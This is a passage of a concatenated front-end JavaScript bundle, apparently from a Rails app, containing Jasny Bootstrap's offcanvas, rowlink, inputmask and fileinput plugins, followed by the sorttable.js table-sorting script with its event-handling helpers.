'top': case 'bottom': return this.$element.outerHeight() } } OffCanvas.prototype.calcPlacement = function () { var horizontal = $(window).width() / this.$element.width(), vertical = $(window).height() / this.$element.height() if (!this.$element.hasClass('in')) { this.$element.css('visiblity', 'hidden !important').addClass('in') } var element = this.$element function ab(a, b) { if (element.css(b) === 'auto') return a if (element.css(a) === 'auto') return b var size_a = parseInt(element.css(a), 10), size_b = parseInt(element.css(b), 10) return size_a > size_b ? b : a } this.options.placement = horizontal > vertical ? ab('left', 'right') : ab('top', 'bottom') if (this.$element.css('visibility') === 'hidden !important') { this.$element.removeClass('in').css('visiblity', '') } } OffCanvas.prototype.opposite = function (placement) { switch (placement) { case 'top': return 'bottom' case 'left': return 'right' case 'bottom': return 'top' case 'right': return 'left' } } OffCanvas.prototype.getCanvasElements = function() { // Return a set containing the canvas plus all fixed elements var canvas = this.options.canvas ? $(this.options.canvas) : this.$element var fixed_elements = canvas.find('*').filter(function() { return $(this).css('position') === 'fixed' }).not(this.options.exclude) return canvas.add(fixed_elements) } OffCanvas.prototype.slide = function (elements, offset, callback) { // Use jQuery animation if CSS transitions aren't supported if (!$.support.transition) { var anim = {} anim[this.options.placement] = "+=" + offset return elements.animate(anim, 350, callback) } var placement = this.options.placement, opposite = this.opposite(placement) elements.each(function() { if ($(this).css(placement) !== 'auto') $(this).css(placement, (parseInt($(this).css(placement), 10) || 0) + offset) if ($(this).css(opposite) !== 'auto') $(this).css(opposite, (parseInt($(this).css(opposite), 10) || 0) - offset) }) this.$element .one($.support.transition.end, callback) .emulateTransitionEnd(350) } OffCanvas.prototype.disableScrolling = function() { var bodyWidth = $('body').width() var prop = 'padding-' + this.opposite(this.options.placement) if ($('body').data('offcanvas-style') === undefined) $('body').data('offcanvas-style', $('body').attr('style')) $('body').css('overflow', 'hidden') if ($('body').width() > bodyWidth) { var padding = parseInt($('body').css(prop), 10) + $('body').width() - bodyWidth setTimeout(function() { $('body').css(prop, padding) }, 1) } } OffCanvas.prototype.show = function () { if (this.state) return var startEvent = $.Event('show.bs.offcanvas') this.$element.trigger(startEvent) if (startEvent.isDefaultPrevented()) return if (this.options.placement === 'auto') this.calcPlacement() this.state = 'sliding' var elements = this.getCanvasElements() var offset = this.offset(), placement = this.options.placement, opposite = this.opposite(placement) elements.addClass('canvas-sliding').each(function() { $(this).data('offcanvas-style', $(this).attr('style') || '') if ($(this).css('position') === 'static') $(this).css('position', 'relative') if (($(this).css(placement) === 'auto' || $(this).css(placement) === '0px') && ($(this).css(opposite) === 'auto' || $(this).css(opposite) === '0px')) { $(this).css(placement, 0) } }) if (elements.index(this.$element) !== -1) this.$element.css(placement, -1 * offset) this.disableScrolling() var complete = function () { this.state = 'slid' elements.removeClass('canvas-sliding').addClass('canvas-slid') this.$element.trigger('shown.bs.offcanvas') } setTimeout($.proxy(function() { this.$element.addClass('in') this.slide(elements, offset, $.proxy(complete, this)) }, this), 1) } OffCanvas.prototype.hide = function (fast) { if (this.state !== 'slid') return var startEvent = $.Event('hide.bs.offcanvas') this.$element.trigger(startEvent) if (startEvent.isDefaultPrevented()) return this.state = 'sliding' var elements = $('.canvas-slid') var offset = -1 * this.offset() var complete = function () { this.state = null this.$element.removeClass('in') elements.removeClass('canvas-sliding') elements.add('body').each(function() { $(this).attr('style', $(this).data('offcanvas-style')).removeData('offcanvas-style') }) this.$element.trigger('hidden.bs.offcanvas') } elements.removeClass('canvas-slid').addClass('canvas-sliding') setTimeout($.proxy(function() { this.slide(elements, offset, $.proxy(complete, this)) }, this), 1) } OffCanvas.prototype.toggle = function () { if (this.state === 'sliding') return this[this.state === 'slid' ? 'hide' : 'show']() } OffCanvas.prototype.calcClone = function() { this.$calcClone = this.$element.clone() .html('') .addClass('offcanvas-clone').removeClass('in') .appendTo($('body')) } OffCanvas.prototype.recalc = function () { if (this.state() !== 'slid' || this.$calcClone.css('display') === 'none') return var offset = -1 * this.offset() var placement = this.options.placement this.getCanvasElements().each(function() { $(this).css(placement, (parseInt($(this).css(placement), 10) || 0) + offset) }).removeClass('canvas-slid') $('body').css('overflow', '') this.$element.css(placement, '').removeClass('in canvas-slid') } OffCanvas.prototype.autohide = function (e) { if ($(e.target).closest(this.$element).length === 0) this.hide() } // OFFCANVAS PLUGIN DEFINITION // ========================== var old = $.fn.offcanvas $.fn.offcanvas = function (option) { return this.each(function () { var $this = $(this) var data = $this.data('bs.offcanvas') var options = $.extend({}, OffCanvas.DEFAULTS, $this.data(), typeof option == 'object' && option) if (!data) $this.data('bs.offcanvas', (data = new OffCanvas(this, options))) if (typeof option == 'string') data[option]() }) } $.fn.offcanvas.Constructor = OffCanvas // OFFCANVAS NO CONFLICT // ==================== $.fn.offcanvas.noConflict = function () { $.fn.offcanvas = old return this } // OFFCANVAS DATA-API // ================= $(document).on('click.bs.offcanvas.data-api', '[data-toggle=offcanvas]', function (e) { var $this = $(this), href var target = $this.attr('data-target') || e.preventDefault() || (href = $this.attr('href')) && href.replace(/.*(?=#[^\s]+$)/, '') //strip for ie7 var $canvas = $(target) var data = $canvas.data('bs.offcanvas') var option = data ? 'toggle' : $this.data() e.stopPropagation() if (data) data.toggle() else $canvas.offcanvas(option) }) }(window.jQuery); /* ============================================================ * Bootstrap: rowlink.js v3.0.0-p7 * http://jasny.github.io/bootstrap/javascript.html#rowlink * ============================================================ * Copyright 2012 Jasny BV, Netherlands. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * ============================================================ */ +function ($) { "use strict"; var Rowlink = function (element, options) { this.$element = $(element) this.options = $.extend({}, Rowlink.DEFAULTS, options) this.$element.on('click.bs.rowlink', 'td:not(.rowlink-skip)', $.proxy(this.click, this)) } Rowlink.DEFAULTS = { target: "a" } Rowlink.prototype.click = function(e) { var target = $(e.currentTarget).closest('tr').find(this.options.target)[0] if ($(e.target)[0] === target) return e.preventDefault(); if (target.click) { target.click() } else if (document.createEvent) { var evt = document.createEvent("MouseEvents"); evt.initMouseEvent("click", true, true, window, 0, 0, 0, 0, 0, false, false, false, false, 0, null); target.dispatchEvent(evt); } } // ROWLINK PLUGIN DEFINITION // =========================== var old = $.fn.rowlink $.fn.rowlink = function (options) { return this.each(function () { var $this = $(this) var data = $this.data('rowlink') if (!data) $this.data('rowlink', (data = new Rowlink(this, options))) }) } $.fn.rowlink.Constructor = Rowlink // ROWLINK NO CONFLICT // ==================== $.fn.rowlink.noConflict = function () { $.fn.rowlink = old return this } // ROWLINK DATA-API // ================== $(document).on('click.bs.rowlink.data-api', '[data-link="row"]', function (e) { var $this = $(this) if ($this.data('rowlink')) return $this.rowlink($this.data()) $(e.target).trigger('click.bs.rowlink') }) }(window.jQuery); /* =========================================================== * Bootstrap: inputmask.js v3.0.0-p7 * http://jasny.github.io/bootstrap/javascript.html#inputmask * Based on Masked Input plugin by Josh Bush (digitalbush.com) * =========================================================== * Copyright 2012 Jasny BV, Netherlands. * * Licensed under the Apache License, Version 2.0 (the "License") * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * ========================================================== */ +function ($) { "use strict"; var isIphone = (window.orientation !== undefined) var isAndroid = navigator.userAgent.toLowerCase().indexOf("android") > -1 var isIE = window.navigator.appName == 'Microsoft Internet Explorer' // INPUTMASK PUBLIC CLASS DEFINITION // ================================= var Inputmask = function (element, options) { if (isAndroid) return // No support because caret positioning doesn't work on Android this.$element = $(element) this.options = $.extend({}, Inputmask.DEFAULS, options) this.mask = String(this.options.mask) this.init() this.listen() this.checkVal() //Perform initial check for existing values } Inputmask.DEFAULS = { mask: "", placeholder: "_", definitions: { '9': "[0-9]", 'a': "[A-Za-z]", '?': "[A-Za-z0-9]", '*': "." } } Inputmask.prototype.init = function() { var defs = this.options.definitions var len = this.mask.length this.tests = [] this.partialPosition = this.mask.length this.firstNonMaskPos = null $.each(this.mask.split(""), $.proxy(function(i, c) { if (c == '?') { len-- this.partialPosition = i } else if (defs[c]) { this.tests.push(new RegExp(defs[c])) if (this.firstNonMaskPos === null) this.firstNonMaskPos = this.tests.length - 1 } else { this.tests.push(null) } }, this)) this.buffer = $.map(this.mask.split(""), $.proxy(function(c, i) { if (c != '?') return defs[c] ? this.options.placeholder : c }, this)) this.focusText = this.$element.val() this.$element.data("rawMaskFn", $.proxy(function() { return $.map(this.buffer, function(c, i) { return this.tests[i] && c != this.options.placeholder ? c : null }).join('') }, this)) } Inputmask.prototype.listen = function() { if (this.$element.attr("readonly")) return var pasteEventName = (isIE ? 'paste' : 'input') + ".mask" this.$element .on("unmask.bs.inputmask", $.proxy(this.unmask, this)) .on("focus.bs.inputmask", $.proxy(this.focusEvent, this)) .on("blur.bs.inputmask", $.proxy(this.blurEvent, this)) .on("keydown.bs.inputmask", $.proxy(this.keydownEvent, this)) .on("keypress.bs.inputmask", $.proxy(this.keypressEvent, this)) .on(pasteEventName, $.proxy(this.pasteEvent, this)) } //Helper Function for Caret positioning Inputmask.prototype.caret = function(begin, end) { if (this.$element.length === 0) return if (typeof begin == 'number') { end = (typeof end == 'number') ? end : begin return this.$element.each(function() { if (this.setSelectionRange) { this.setSelectionRange(begin, end) } else if (this.createTextRange) { var range = this.createTextRange() range.collapse(true) range.moveEnd('character', end) range.moveStart('character', begin) range.select() } }) } else { if (this.$element[0].setSelectionRange) { begin = this.$element[0].selectionStart end = this.$element[0].selectionEnd } else if (document.selection && document.selection.createRange) { var range = document.selection.createRange() begin = 0 - range.duplicate().moveStart('character', -100000) end = begin + range.text.length } return { begin: begin, end: end } } } Inputmask.prototype.seekNext = function(pos) { var len = this.mask.length while (++pos <= len && !this.tests[pos]); return pos } Inputmask.prototype.seekPrev = function(pos) { while (--pos >= 0 && !this.tests[pos]); return pos } Inputmask.prototype.shiftL = function(begin,end) { var len = this.mask.length if (begin < 0) return for (var i = begin, j = this.seekNext(end); i < len; i++) { if (this.tests[i]) { if (j < len && this.tests[i].test(this.buffer[j])) { this.buffer[i] = this.buffer[j] this.buffer[j] = this.options.placeholder } else break j = this.seekNext(j) } } this.writeBuffer() this.caret(Math.max(this.firstNonMaskPos, begin)) } Inputmask.prototype.shiftR = function(pos) { var len = this.mask.length for (var i = pos, c = this.options.placeholder; i < len; i++) { if (this.tests[i]) { var j = this.seekNext(i) var t = this.buffer[i] this.buffer[i] = c if (j < len && this.tests[j].test(t)) c = t else break } } }, Inputmask.prototype.unmask = function() { this.$element .unbind(".mask") .removeData("inputmask") } Inputmask.prototype.focusEvent = function() { this.focusText = this.$element.val() var len = this.mask.length var pos = this.checkVal() this.writeBuffer() var that = this var moveCaret = function() { if (pos == len) that.caret(0, pos) else that.caret(pos) } moveCaret() setTimeout(moveCaret, 50) } Inputmask.prototype.blurEvent = function() { this.checkVal() if (this.$element.val() !== this.focusText) this.$element.trigger('change') } Inputmask.prototype.keydownEvent = function(e) { var k = e.which //backspace, delete, and escape get special treatment if (k == 8 || k == 46 || (isIphone && k == 127)) { var pos = this.caret(), begin = pos.begin, end = pos.end if (end - begin === 0) { begin = k != 46 ? this.seekPrev(begin) : (end = this.seekNext(begin - 1)) end = k == 46 ? this.seekNext(end) : end } this.clearBuffer(begin, end) this.shiftL(begin, end - 1) return false } else if (k == 27) {//escape this.$element.val(this.focusText) this.caret(0, this.checkVal()) return false } } Inputmask.prototype.keypressEvent = function(e) { var len = this.mask.length var k = e.which, pos = this.caret() if (e.ctrlKey || e.altKey || e.metaKey || k < 32) {//Ignore return true } else if (k) { if (pos.end - pos.begin !== 0) { this.clearBuffer(pos.begin, pos.end) this.shiftL(pos.begin, pos.end - 1) } var p = this.seekNext(pos.begin - 1) if (p < len) { var c = String.fromCharCode(k) if (this.tests[p].test(c)) { this.shiftR(p) this.buffer[p] = c this.writeBuffer() var next = this.seekNext(p) this.caret(next) } } return false } } Inputmask.prototype.pasteEvent = function() { var that = this setTimeout(function() { that.caret(that.checkVal(true)) }, 0) } Inputmask.prototype.clearBuffer = function(start, end) { var len = this.mask.length for (var i = start; i < end && i < len; i++) { if (this.tests[i]) this.buffer[i] = this.options.placeholder } } Inputmask.prototype.writeBuffer = function() { return this.$element.val(this.buffer.join('')).val() } Inputmask.prototype.checkVal = function(allow) { var len = this.mask.length //try to place characters where they belong var test = this.$element.val() var lastMatch = -1 for (var i = 0, pos = 0; i < len; i++) { if (this.tests[i]) { this.buffer[i] = this.options.placeholder while (pos++ < test.length) { var c = test.charAt(pos - 1) if (this.tests[i].test(c)) { this.buffer[i] = c lastMatch = i break } } if (pos > test.length) break } else if (this.buffer[i] == test.charAt(pos) && i != this.partialPosition) { pos++ lastMatch = i } } if (!allow && lastMatch + 1 < this.partialPosition) { this.$element.val("") this.clearBuffer(0, len) } else if (allow || lastMatch + 1 >= this.partialPosition) { this.writeBuffer() if (!allow) this.$element.val(this.$element.val().substring(0, lastMatch + 1)) } return (this.partialPosition ? i : this.firstNonMaskPos) } // INPUTMASK PLUGIN DEFINITION // =========================== var old = $.fn.inputmask $.fn.inputmask = function (options) { return this.each(function () { var $this = $(this) var data = $this.data('inputmask') if (!data) $this.data('inputmask', (data = new Inputmask(this, options))) }) } $.fn.inputmask.Constructor = Inputmask // INPUTMASK NO CONFLICT // ==================== $.fn.inputmask.noConflict = function () { $.fn.inputmask = old return this } // INPUTMASK DATA-API // ================== $(document).on('focus.bs.inputmask.data-api', '[data-mask]', function (e) { var $this = $(this) if ($this.data('inputmask')) return $this.inputmask($this.data()) }) }(window.jQuery); /* =========================================================== * Bootstrap: fileinput.js v3.1.0 * http://jasny.github.com/bootstrap/javascript/#fileinput * =========================================================== * Copyright 2012-2014 Jasny BV, Netherlands. * * Licensed under the Apache License, Version 2.0 (the "License") * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * ========================================================== */ +function ($) { "use strict"; var isIE = window.navigator.appName == 'Microsoft Internet Explorer' // FILEUPLOAD PUBLIC CLASS DEFINITION // ================================= var Fileinput = function (element, options) { this.$element = $(element) this.$input = this.$element.find(':file') if (this.$input.length === 0) return this.name = this.$input.attr('name') || options.name this.$hidden = this.$element.find('input[type=hidden][name="' + this.name + '"]') if (this.$hidden.length === 0) { this.$hidden = $('<input type="hidden" />') this.$element.prepend(this.$hidden) } this.$preview = this.$element.find('.fileinput-preview') var height = this.$preview.css('height') if (this.$preview.css('display') != 'inline' && height != '0px' && height != 'none') this.$preview.css('line-height', height) this.original = { exists: this.$element.hasClass('fileinput-exists'), preview: this.$preview.html(), hiddenVal: this.$hidden.val() } this.listen() } Fileinput.prototype.listen = function() { this.$input.on('change.bs.fileinput', $.proxy(this.change, this)) $(this.$input[0].form).on('reset.bs.fileinput', $.proxy(this.reset, this)) this.$element.find('[data-trigger="fileinput"]').on('click.bs.fileinput', $.proxy(this.trigger, this)) this.$element.find('[data-dismiss="fileinput"]').on('click.bs.fileinput', $.proxy(this.clear, this)) }, Fileinput.prototype.change = function(e) { if (e.target.files === undefined) e.target.files = e.target && e.target.value ? [ {name: e.target.value.replace(/^.+\\/, '')} ] : [] if (e.target.files.length === 0) return this.$hidden.val('') this.$hidden.attr('name', '') this.$input.attr('name', this.name) var file = e.target.files[0] if (this.$preview.length > 0 && (typeof file.type !== "undefined" ? file.type.match('image.*') : file.name.match(/\.(gif|png|jpe?g)$/i)) && typeof FileReader !== "undefined") { var reader = new FileReader() var preview = this.$preview var element = this.$element reader.onload = function(re) { var $img = $('<img>') // .attr('src', re.target.result) $img[0].src = re.target.result e.target.files[0].result = re.target.result element.find('.fileinput-filename').text(file.name) // if parent has max-height, using `(max-)height: 100%` on child doesn't take padding and border into account if (preview.css('max-height') != 'none') $img.css('max-height', parseInt(preview.css('max-height'), 10) - parseInt(preview.css('padding-top'), 10) - parseInt(preview.css('padding-bottom'), 10) - parseInt(preview.css('border-top'), 10) - parseInt(preview.css('border-bottom'), 10)) preview.html($img) element.addClass('fileinput-exists').removeClass('fileinput-new') element.trigger('change.bs.fileinput', e.target.files) } reader.readAsDataURL(file) } else { this.$element.find('.fileinput-filename').text(file.name) this.$preview.text(file.name) this.$element.addClass('fileinput-exists').removeClass('fileinput-new') this.$element.trigger('change.bs.fileinput') } }, Fileinput.prototype.clear = function(e) { if (e) e.preventDefault() this.$hidden.val('') this.$hidden.attr('name', this.name) this.$input.attr('name', '') //ie8+ doesn't support changing the value of input with type=file so clone instead if (isIE) { var inputClone = this.$input.clone(true); this.$input.after(inputClone); this.$input.remove(); this.$input = inputClone; } else { this.$input.val('') } this.$preview.html('') this.$element.find('.fileinput-filename').text('') this.$element.addClass('fileinput-new').removeClass('fileinput-exists') if (e !== false) { this.$input.trigger('change') this.$element.trigger('clear.bs.fileinput') } }, Fileinput.prototype.reset = function() { this.clear(false) this.$hidden.val(this.original.hiddenVal) this.$preview.html(this.original.preview) this.$element.find('.fileinput-filename').text('') if (this.original.exists) this.$element.addClass('fileinput-exists').removeClass('fileinput-new') else this.$element.addClass('fileinput-new').removeClass('fileinput-exists') this.$element.trigger('reset.bs.fileinput') }, Fileinput.prototype.trigger = function(e) { this.$input.trigger('click') e.preventDefault() } // FILEUPLOAD PLUGIN DEFINITION // =========================== var old = $.fn.fileinput $.fn.fileinput = function (options) { return this.each(function () { var $this = $(this), data = $this.data('fileinput') if (!data) $this.data('fileinput', (data = new Fileinput(this, options))) if (typeof options == 'string') data[options]() }) } $.fn.fileinput.Constructor = Fileinput // FILEINPUT NO CONFLICT // ==================== $.fn.fileinput.noConflict = function () { $.fn.fileinput = old return this } // FILEUPLOAD DATA-API // ================== $(document).on('click.fileinput.data-api', '[data-provides="fileinput"]', function (e) { var $this = $(this) if ($this.data('fileinput')) return $this.fileinput($this.data()) var $target = $(e.target).closest('[data-dismiss="fileinput"],[data-trigger="fileinput"]'); if ($target.length > 0) { e.preventDefault() $target.trigger('click.bs.fileinput') } }) }(window.jQuery); (function() { }).call(this); // This is a manifest file that'll be compiled into application.js, which will include all the files // listed below. // // Any JavaScript/Coffee file within this directory, lib/assets/javascripts, vendor/assets/javascripts, // or vendor/assets/javascripts of plugins, if any, can be referenced here using a relative path. // // It's not advisable to add code directly here, but if you do, it'll appear at the bottom of the // the compiled file. // // WARNING: THE FIRST BLANK LINE MARKS THE END OF WHAT'S TO BE PROCESSED, ANY BLANK LINE SHOULD // GO AFTER THE REQUIRES BELOW. // /* SortTable version 2 7th April 2007 Stuart Langridge, http://www.kryogenix.org/code/browser/sorttable/ Instructions: Download this file Add <script src="sorttable.js"></script> to your HTML Add class="sortable" to any table you'd like to make sortable Click on the headers to sort Thanks to many, many people for contributions and suggestions. Licenced as X11: http://www.kryogenix.org/code/browser/licence.html This basically means: do what you want with it. */ var stIsIE = /*@cc_on!@*/false; sorttable = { init: function() { // quit if this function has already been called if (arguments.callee.done) return; // flag this function so we don't do the same thing twice arguments.callee.done = true; // kill the timer if (_timer) clearInterval(_timer); if (!document.createElement || !document.getElementsByTagName) return; sorttable.DATE_RE = /^(\d\d?)[\/\.-](\d\d?)[\/\.-]((\d\d)?\d\d)$/; forEach(document.getElementsByTagName('table'), function(table) { if (table.className.search(/\bsortable\b/) != -1) { sorttable.makeSortable(table); } }); }, makeSortable: function(table) { if (table.getElementsByTagName('thead').length == 0) { // table doesn't have a tHead. Since it should have, create one and // put the first table row in it. the = document.createElement('thead'); the.appendChild(table.rows[0]); table.insertBefore(the,table.firstChild); } // Safari doesn't support table.tHead, sigh if (table.tHead == null) table.tHead = table.getElementsByTagName('thead')[0]; if (table.tHead.rows.length != 1) return; // can't cope with two header rows // Sorttable v1 put rows with a class of "sortbottom" at the bottom (as // "total" rows, for example). This is B&R, since what you're supposed // to do is put them in a tfoot. So, if there are sortbottom rows, // for backwards compatibility, move them to tfoot (creating it if needed). sortbottomrows = []; for (var i=0; i<table.rows.length; i++) { if (table.rows[i].className.search(/\bsortbottom\b/) != -1) { sortbottomrows[sortbottomrows.length] = table.rows[i]; } } if (sortbottomrows) { if (table.tFoot == null) { // table doesn't have a tfoot. Create one. tfo = document.createElement('tfoot'); table.appendChild(tfo); } for (var i=0; i<sortbottomrows.length; i++) { tfo.appendChild(sortbottomrows[i]); } delete sortbottomrows; } // work through each column and calculate its type headrow = table.tHead.rows[0].cells; for (var i=0; i<headrow.length; i++) { // manually override the type with a sorttable_type attribute if (!headrow[i].className.match(/\bsorttable_nosort\b/)) { // skip this col mtch = headrow[i].className.match(/\bsorttable_([a-z0-9]+)\b/); if (mtch) { override = mtch[1]; } if (mtch && typeof sorttable["sort_"+override] == 'function') { headrow[i].sorttable_sortfunction = sorttable["sort_"+override]; } else { headrow[i].sorttable_sortfunction = sorttable.guessType(table,i); } // make it clickable to sort headrow[i].sorttable_columnindex = i; headrow[i].sorttable_tbody = table.tBodies[0]; dean_addEvent(headrow[i],"click", sorttable.innerSortFunction = function(e) { if (this.className.search(/\bsorttable_sorted\b/) != -1) { // if we're already sorted by this column, just // reverse the table, which is quicker sorttable.reverse(this.sorttable_tbody); this.className = this.className.replace('sorttable_sorted', 'sorttable_sorted_reverse'); this.removeChild(document.getElementById('sorttable_sortfwdind')); sortrevind = document.createElement('span'); sortrevind.id = "sorttable_sortrevind"; sortrevind.innerHTML = stIsIE ? '&nbsp<font face="webdings">5</font>' : '&nbsp;'; this.appendChild(sortrevind); return; } if (this.className.search(/\bsorttable_sorted_reverse\b/) != -1) { // if we're already sorted by this column in reverse, just // re-reverse the table, which is quicker sorttable.reverse(this.sorttable_tbody); this.className = this.className.replace('sorttable_sorted_reverse', 'sorttable_sorted'); this.removeChild(document.getElementById('sorttable_sortrevind')); sortfwdind = document.createElement('span'); sortfwdind.id = "sorttable_sortfwdind"; sortfwdind.innerHTML = stIsIE ? '&nbsp<font face="webdings">6</font>' : '&nbsp;'; this.appendChild(sortfwdind); return; } // remove sorttable_sorted classes theadrow = this.parentNode; forEach(theadrow.childNodes, function(cell) { if (cell.nodeType == 1) { // an element cell.className = cell.className.replace('sorttable_sorted_reverse',''); cell.className = cell.className.replace('sorttable_sorted',''); } }); sortfwdind = document.getElementById('sorttable_sortfwdind'); if (sortfwdind) { sortfwdind.parentNode.removeChild(sortfwdind); } sortrevind = document.getElementById('sorttable_sortrevind'); if (sortrevind) { sortrevind.parentNode.removeChild(sortrevind); } this.className += ' sorttable_sorted'; sortfwdind = document.createElement('span'); sortfwdind.id = "sorttable_sortfwdind"; sortfwdind.innerHTML = stIsIE ? '&nbsp' : '&nbsp;'; this.appendChild(sortfwdind); // build an array to sort. This is a Schwartzian transform thing, // i.e., we "decorate" each row with the actual sort key, // sort based on the sort keys, and then put the rows back in order // which is a lot faster because you only do getInnerText once per row row_array = []; col = this.sorttable_columnindex; rows = this.sorttable_tbody.rows; for (var j=0; j<rows.length; j++) { row_array[row_array.length] = [sorttable.getInnerText(rows[j].cells[col]), rows[j]]; } /* If you want a stable sort, uncomment the following line */ //sorttable.shaker_sort(row_array, this.sorttable_sortfunction); /* and comment out this one */ row_array.sort(this.sorttable_sortfunction); tb = this.sorttable_tbody; for (var j=0; j<row_array.length; j++) { tb.appendChild(row_array[j][1]); } delete row_array; }); } } }, guessType: function(table, column) { // guess the type of a column based on its first non-blank row sortfn = sorttable.sort_alpha; for (var i=0; i<table.tBodies[0].rows.length; i++) { text = sorttable.getInnerText(table.tBodies[0].rows[i].cells[column]); if (text != '') { if (text.match(/^-?[£$¤]?[\d,.]+%?$/)) { return sorttable.sort_numeric; } // check for a date: dd/mm/yyyy or dd/mm/yy // can have / or . or - as separator // can be mm/dd as well possdate = text.match(sorttable.DATE_RE) if (possdate) { // looks like a date first = parseInt(possdate[1]); second = parseInt(possdate[2]); if (first > 12) { // definitely dd/mm return sorttable.sort_ddmm; } else if (second > 12) { return sorttable.sort_mmdd; } else { // looks like a date, but we can't tell which, so assume // that it's dd/mm (English imperialism!) and keep looking sortfn = sorttable.sort_ddmm; } } } } return sortfn; }, getInnerText: function(node) { // gets the text we want to use for sorting for a cell. // strips leading and trailing whitespace. // this is *not* a generic getInnerText function; it's special to sorttable. // for example, you can override the cell text with a customkey attribute. // it also gets .value for <input> fields. if (!node) return ""; hasInputs = (typeof node.getElementsByTagName == 'function') && node.getElementsByTagName('input').length; if (node.getAttribute("sorttable_customkey") != null) { return node.getAttribute("sorttable_customkey"); } else if (typeof node.textContent != 'undefined' && !hasInputs) { return node.textContent.replace(/^\s+|\s+$/g, ''); } else if (typeof node.innerText != 'undefined' && !hasInputs) { return node.innerText.replace(/^\s+|\s+$/g, ''); } else if (typeof node.text != 'undefined' && !hasInputs) { return node.text.replace(/^\s+|\s+$/g, ''); } else { switch (node.nodeType) { case 3: if (node.nodeName.toLowerCase() == 'input') { return node.value.replace(/^\s+|\s+$/g, ''); } case 4: return node.nodeValue.replace(/^\s+|\s+$/g, ''); break; case 1: case 11: var innerText = ''; for (var i = 0; i < node.childNodes.length; i++) { innerText += sorttable.getInnerText(node.childNodes[i]); } return innerText.replace(/^\s+|\s+$/g, ''); break; default: return ''; } } }, reverse: function(tbody) { // reverse the rows in a tbody newrows = []; for (var i=0; i<tbody.rows.length; i++) { newrows[newrows.length] = tbody.rows[i]; } for (var i=newrows.length-1; i>=0; i--) { tbody.appendChild(newrows[i]); } delete newrows; }, /* sort functions each sort function takes two parameters, a and b you are comparing a[0] and b[0] */ sort_numeric: function(a,b) { aa = parseFloat(a[0].replace(/[^0-9.-]/g,'')); if (isNaN(aa)) aa = 0; bb = parseFloat(b[0].replace(/[^0-9.-]/g,'')); if (isNaN(bb)) bb = 0; return aa-bb; }, sort_alpha: function(a,b) { if (a[0]==b[0]) return 0; if (a[0]<b[0]) return -1; return 1; }, sort_ddmm: function(a,b) { mtch = a[0].match(sorttable.DATE_RE); y = mtch[3]; m = mtch[2]; d = mtch[1]; if (m.length == 1) m = '0'+m; if (d.length == 1) d = '0'+d; dt1 = y+m+d; mtch = b[0].match(sorttable.DATE_RE); y = mtch[3]; m = mtch[2]; d = mtch[1]; if (m.length == 1) m = '0'+m; if (d.length == 1) d = '0'+d; dt2 = y+m+d; if (dt1==dt2) return 0; if (dt1<dt2) return -1; return 1; }, sort_mmdd: function(a,b) { mtch = a[0].match(sorttable.DATE_RE); y = mtch[3]; d = mtch[2]; m = mtch[1]; if (m.length == 1) m = '0'+m; if (d.length == 1) d = '0'+d; dt1 = y+m+d; mtch = b[0].match(sorttable.DATE_RE); y = mtch[3]; d = mtch[2]; m = mtch[1]; if (m.length == 1) m = '0'+m; if (d.length == 1) d = '0'+d; dt2 = y+m+d; if (dt1==dt2) return 0; if (dt1<dt2) return -1; return 1; }, shaker_sort: function(list, comp_func) { // A stable sort function to allow multi-level sorting of data // see: http://en.wikipedia.org/wiki/Cocktail_sort // thanks to Joseph Nahmias var b = 0; var t = list.length - 1; var swap = true; while(swap) { swap = false; for(var i = b; i < t; ++i) { if ( comp_func(list[i], list[i+1]) > 0 ) { var q = list[i]; list[i] = list[i+1]; list[i+1] = q; swap = true; } } // for t--; if (!swap) break; for(var i = t; i > b; --i) { if ( comp_func(list[i], list[i-1]) < 0 ) { var q = list[i]; list[i] = list[i-1]; list[i-1] = q; swap = true; } } // for b++; } // while(swap) } } /* ****************************************************************** Supporting functions: bundled here to avoid depending on a library ****************************************************************** */ // Dean Edwards/Matthias Miller/John Resig /* for Mozilla/Opera9 */ if (document.addEventListener) { document.addEventListener("DOMContentLoaded", sorttable.init, false); } /* for Internet Explorer */ /*@cc_on @*/ /*@if (@_win32) document.write("<script id=__ie_onload defer src=javascript:void(0)><\/script>"); var script = document.getElementById("__ie_onload"); script.onreadystatechange = function() { if (this.readyState == "complete") { sorttable.init(); // call the onload handler } }; /*@end @*/ /* for Safari */ if (/WebKit/i.test(navigator.userAgent)) { // sniff var _timer = setInterval(function() { if (/loaded|complete/.test(document.readyState)) { sorttable.init(); // call the onload handler } }, 10); } /* for other browsers */ window.onload = sorttable.init; // written by Dean Edwards, 2005 // with input from Tino Zijdel, Matthias Miller, Diego Perini // http://dean.edwards.name/weblog/2005/10/add-event/ function dean_addEvent(element, type, handler) { if (element.addEventListener) { element.addEventListener(type, handler, false); } else { // assign each event handler a unique ID if (!handler.$$guid) handler.$$guid = dean_addEvent.guid++; // create a hash table of event types for the element if (!element.events) element.events = {}; // create a hash table of event handlers for each element/event pair var handlers = element.events[type]; if (!handlers) { handlers = element.events[type] = {}; // store the existing event handler (if there is one) if (element["on" + type]) { handlers[0] = element["on" + type]; } } // store the event handler in the hash table handlers[handler.$$guid] = handler; // assign a global event handler to do all the work element["on" + type] = handleEvent; } }; // a counter used to create unique IDs dean_addEvent.guid = 1; function removeEvent(element, type, handler) { if (element.removeEventListener) { element.removeEventListener(type, handler, false); } else { // delete the event handler from the hash table if (element.events && element.events[type]) { delete element.events[type][handler.$$guid]; } } }; function handleEvent(event) { var returnValue = true; // grab the event object (IE uses a global event object) event = event || fixEvent(((this.ownerDocument || this.document || this).parentWindow || window).event); // get a reference to the hash table of event handlers var handlers = this.events[event.type]; // execute each event handler for (var i in handlers) { this.$$handleEvent = handlers[i]; if (this.$$handleEvent(event) === false) { 